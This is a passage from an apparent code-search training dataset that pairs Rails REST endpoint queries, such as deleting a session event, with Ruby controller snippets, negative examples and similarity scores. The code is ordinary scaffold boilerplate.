@event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.74524045", "0.70785767", "0.693216", "0.6891475", "0.6832877", "0.6813833", "0.678075", "0.67680013", "0.67508477", "0.6737696", "0.6701115", "0.6693", "0.6693", "0.66324633", "0.66089815", "0.65662587", "0.655137", "0.6519955", "0.6519955", "0.6516702", "0.6503276", "0.648715", "0.64852655", "0.64778537", "0.646127", "0.646127", "0.6453908", "0.6444737", "0.64332896", "0.6432495", "0.642729", "0.6420313", "0.6412775", "0.6410436", "0.6406911", "0.64064485", "0.64037424", "0.64034545", "0.64017975", "0.6394941", "0.6389154", "0.6388827", "0.6388639", "0.6382308", "0.6379762", "0.6378606", "0.6378606", "0.6378606", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704", "0.63712704" ]
0.702883
2
DELETE /session_events/1 DELETE /session_events/1.json
def destroy @session_event.destroy respond_to do |format| format.html { redirect_to session_events_url, notice: 'Session event was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n\n @session = @event.sessions.find(params[:id])\n\n #when destroying the last session, also destroy the related event\n #i know i can refactor this\n # event = Event.find(@session.event_id)\n # if event.sessions.count == 1\n # event.destroy\n # end\n \n @session.destroy\n\n respond_to do |format|\n format.html { redirect_to event_sessions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.using(:shard_one).find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def delete_event\n if params[:id]\n @e = Evento.find(params[:id]).destroy\n end\n render :json => msj = { :status => true, :message => 'ok'}\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n #@event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n \n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n # @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @calevent = Calevent.find(params[:id])\n @calevent.destroy\n\n respond_to do |format|\n format.html { redirect_to calevents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @events = Event.where(event_id: params[:id])\n @events.each.destroy\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event_event = Event::Event.find(params[:id])\n @event_event.destroy\n\n respond_to do |format|\n format.html { redirect_to event_events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @myevent = Myevent.find(params[:id])\n @myevent.destroy\n\n respond_to do |format|\n format.html { redirect_to myevents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event_request = EventRequest.find(params[:id])\n @event_request.destroy\n\n respond_to do |format|\n format.html { redirect_to event_requests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url}\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.users.clear\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n\n sync_destroy @event\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if logged_in?\n @event.delete_sql\n else\n redirect_to login_path\n end\n \n respond_to do |format|\n format.html { redirect_to events_url, notice: 'Event was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @recording_event = RecordingEvent.find(params[:id])\n @recording_event.destroy\n\n respond_to do |format|\n format.html { redirect_to recording_events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html {redirect_to events_url}\n format.json {head :no_content}\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @client = Client.find(@event.client_id)\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_to_client_path(@client) }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = @current_account.events.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n #@event.update_attribute(:deleted, true)\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @listen_event.destroy\n respond_to do |format|\n format.html { redirect_to recording_listen_events_url(@recording)}\n format.json { head :no_content }\n end\n end", "def destroy\n @user_event = UserEvent.where(event_id: @event.id)\n @event.destroy\n @user_event.destroy\n render json: { head: :no_content }\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to(admin_events_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted event: #{@event.name}\")\n end", "def delete_event(event)\n @connection.send(Addressable::URI.parse(events_url + \"/#{event.id}\"), :delete)\n end", "def destroy\n @event = Event.find_by_id(params[:id])\n #if params[:delete_all] == 'true'\n # @event.event_series.destroy\n \n #elsif params[:delete_all] == 'future'\n # @events = @event.event_series.events.find(:all, :conditions => [\"start_time > '#{@event.start_time.to_formatted_s(:db)}' \"])\n # @event.event_series.events.delete(@events)\n \n #else\n # @event.destroy\n # redirect_to '/events'\n #end\n\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Event was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity_event = ActivityEvent.find(params[:id])\n @activity_event.destroy\n\n respond_to do |format|\n format.html { redirect_to activity_events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @usersevent = Usersevent.find(params[:id])\n @usersevent.destroy\n\n respond_to do |format|\n format.html { redirect_to usersevents_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n #Si el evento no pertenece al usuario que está haciendo la solicitud\n #se le envía un mensaje de error y se le dirige a la página principal\n if (@event.user_id == session[:user_id])\n @event.destroy\n end\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @hive_event = HiveEvent.find(params[:id])\n @hive_event.destroy\n\n respond_to do |format|\n format.html { redirect_to hive_events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n head :no_content\n end", "def destroy\n @event = current_user.events.find_by_url(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def delete_event\r\n event = Event.find_by(id: params[:eventid].to_i)\r\n if event.present?\r\n event.update(status: 3)\r\n lt_update_event_status event, 'archived'\r\n render json: SuccessResponse.new(\r\n code: 200,\r\n message: 'Event Deleted.'\r\n ), adapter: :json, status: :ok\r\n else\r\n render json: ErrorResponse.new(\r\n code: 404,\r\n message: 'Event not found!'\r\n ), adapter: :json, status: :not_found\r\n end\r\n\r\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n render :nothing => true, :status => 200, :content_type => 'text/plain'\n end" ]
[ "0.7367564", "0.7260218", "0.71650034", "0.71180654", "0.71180654", "0.71180654", "0.7074594", "0.7038552", "0.7034156", "0.70272607", "0.7016465", "0.7013384", "0.70056844", "0.69898", "0.69881374", "0.69881374", "0.69881374", "0.69881374", "0.69881374", "0.69881374", "0.69881374", "0.69881374", "0.69881374", "0.69881374", "0.69881374", "0.69881374", "0.69881374", "0.69881374", "0.69881374", "0.69881374", "0.69881374", "0.69864386", "0.6977733", "0.69773537", "0.69773537", "0.69773537", "0.69773537", "0.69773537", "0.69773537", "0.69773537", "0.69773537", "0.69773537", "0.69773537", "0.69773537", "0.69719654", "0.6971195", "0.69699854", "0.69651544", "0.69505405", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.69466424", "0.6942135", "0.6937087", "0.69281274", "0.6918467", "0.69141775", "0.6912248", "0.6909248", "0.69013464", "0.6896614", "0.6891591", "0.68883437", "0.68876004", "0.6882181", "0.68793607", "0.6879041", "0.6875014", "0.6869398", "0.6863067", "0.6858105", "0.68539083" ]
0.75508803
0
Use callbacks to share common setup or constraints between actions.
def set_session_event @session_event = SessionEvent.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
